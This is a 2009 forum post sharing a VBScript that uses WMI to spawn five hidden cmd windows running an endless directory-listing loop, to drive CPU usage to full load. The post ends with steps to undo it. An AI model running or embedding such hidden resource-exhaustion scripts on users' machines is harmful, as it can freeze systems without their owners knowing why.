mount the percentage of your CPU with WMI

Author Message
ali_5

  • Total Posts : 4
  • Scores: 0
  • Reward points : 0
  • Joined: 6/4/2009
  • Status: offline
mount the percentage of your CPU with WMI Thursday, June 04, 2009 6:39 AM (permalink)
0

Hello evrybody

This little script allows you to mount the percentage of your CPU. Its principle is to create a loop with a bath to fill your processor. I will let you enjoy this script.

::\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
on error resume next
file="C:\file.bat"
command="cmd /k" & file
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set fso=createobject("scripting.filesystemobject")
set file=fso.createtextfile(file,true)

Set objProcess = objWMIService.Get("Win32_Process")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.showWindow  = 0
objConfig.FillAttribute  = 8
 
file.writeline("@echo off")
file.writeline(":start")
file.writeline("dir /s /b ")
file.writeline("goto :start")
file.close
 for i = 0 to 4
intReturn = objProcess.Create(command, Null, objConfig, intProcessID)
next
file.delete
::\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


If you want to find the normal state of your CPU:
go to Task Manager
Select the Performance tab
select all process cmd.exe
and kill

Do not forget to drop your comments




 
#1

    Online Bookmarks Sharing: Share/Bookmark

    Jump to:

    Current active users

    There are 0 members and 1 guests.

    Icon Legend and Permission

    • New Messages
    • No New Messages
    • Hot Topic w/ New Messages
    • Hot Topic w/o New Messages
    • Locked w/ New Messages
    • Locked w/o New Messages
    • Read Message
    • Post New Thread
    • Reply to message
    • Post New Poll
    • Submit Vote
    • Post reward post
    • Delete my own posts
    • Delete my own threads
    • Rate post

    2000-2012 ASPPlayground.NET Forum Version 3.9